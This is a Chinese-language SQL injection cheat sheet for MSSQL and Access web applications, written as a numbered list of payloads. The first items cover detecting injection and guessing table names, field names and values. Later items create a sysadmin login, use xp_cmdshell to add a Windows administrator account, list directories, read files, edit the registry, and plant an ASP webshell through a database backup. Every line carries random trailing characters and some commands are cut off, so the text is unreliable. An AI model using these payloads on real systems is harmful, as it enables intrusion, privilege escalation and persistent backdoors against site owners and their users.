1.判断是否有注入;and 1=1 ;and 1=2 <fxjj
2.初步判断是否是mssql ;and user>0 Jsnmn$C
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3.注入参数是字符'and [查询条件] and ''=' 3@ukkO)
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' qlT:9*&g
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5.判断数据库系统 NGQIoKC
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;and (select count(*) from sysobjects)>0 mssql 6)<o O(
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;and (select count(*) from msysobjects)>0 access tJ_@AcF
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 W2(=m!:U
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ~4` ec
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 C)^\?DH
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9.(1)猜字段的ascii值(access) W" ,jZ"7
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ghQsS|)p.
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(2)猜字段的ascii值(mssql) !3M!p&
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 4GejT(U
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10.测试权限结构(mssql)
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- EMH}VigR
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- s/^=WV
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- h4xdE0
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- XxQ2g&USk
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- a#**96Av
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- F+^[8zK^
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;and 1=(select IS_MEMBER('db_owner'));-- t$D[,$G9
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11.添加mssql和系统的帐户 ]V\g$@
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;exec master.dbo.sp_addlogin username;-- j*\MUR=
;exec master.dbo.sp_password null,username,password;-- )p](*Z^
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- oYm"NDS_.
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;exec master.dbo.xp_cmdshell 'net user username password iU|C<A%Hh
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Gwk@X/q
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- lsxii-#O
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12.(1)遍历目录 XwGJ 8&N
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;create table dirs(paths varchar(100), id int) du TSU9
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;insert dirs exec master.dbo.xp_dirtree 'c:\' PkO(Y!
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;and (select top 1 paths from dirs)>0 nI` 1@vB&
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) N4FG_N
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(2)遍历目录 ^B]t4N2i
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;0WlvKF
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 z}|'&O*.F
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 #-8/|_*
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 EkPSG&6RZ
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 .-
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13.mssql中的存储过程 =Ih_[$1dw
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xp_regenumvalues 注册表根键, 子键 8Aqe'2IH=
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 U$%w"k7^(
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xp_regread 根键,子键,键值名 e;v2`2z2
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;exec xp_regread =^{+h>#s@
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 dzap]RpB
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xp_regwrite 根键,子键, 值名, 值类型, 值 uhLW/?q.
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 9w|q':<
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 NiF*h~q
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xp_regdeletevalue 根键,子键,值名 A1@a:P=
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 UHwrssX&3
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 C$5x*`y
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14.mssql的backup创建webshell <7+.5iB3
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use model jA'+>`@
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create table cmd(str image); *HUqW}_r
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insert into cmd(str) values (''); USY^
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backup database model to disk='c:\l.asp'; >3/<goXk7
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15.mssql内置函数 /nNHI34
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;and (select @@version)>0 获得Windows的版本号 +Y+kx"8
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7UiU3SUcg
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;and (select user_name())>0 爆当前系统的连接用户 a7ty&[\
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;and (select db_name())>0 得到当前连接的数据库 g|Cnj
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16.简洁的webshell (uE_mEIsv
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use model uQ}kq7gd
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create table cmd(str image); -ydT%x
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insert into cmd(str) values (''); k 'o?/
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backup database model to disk='g:\wwwtest\l.asp';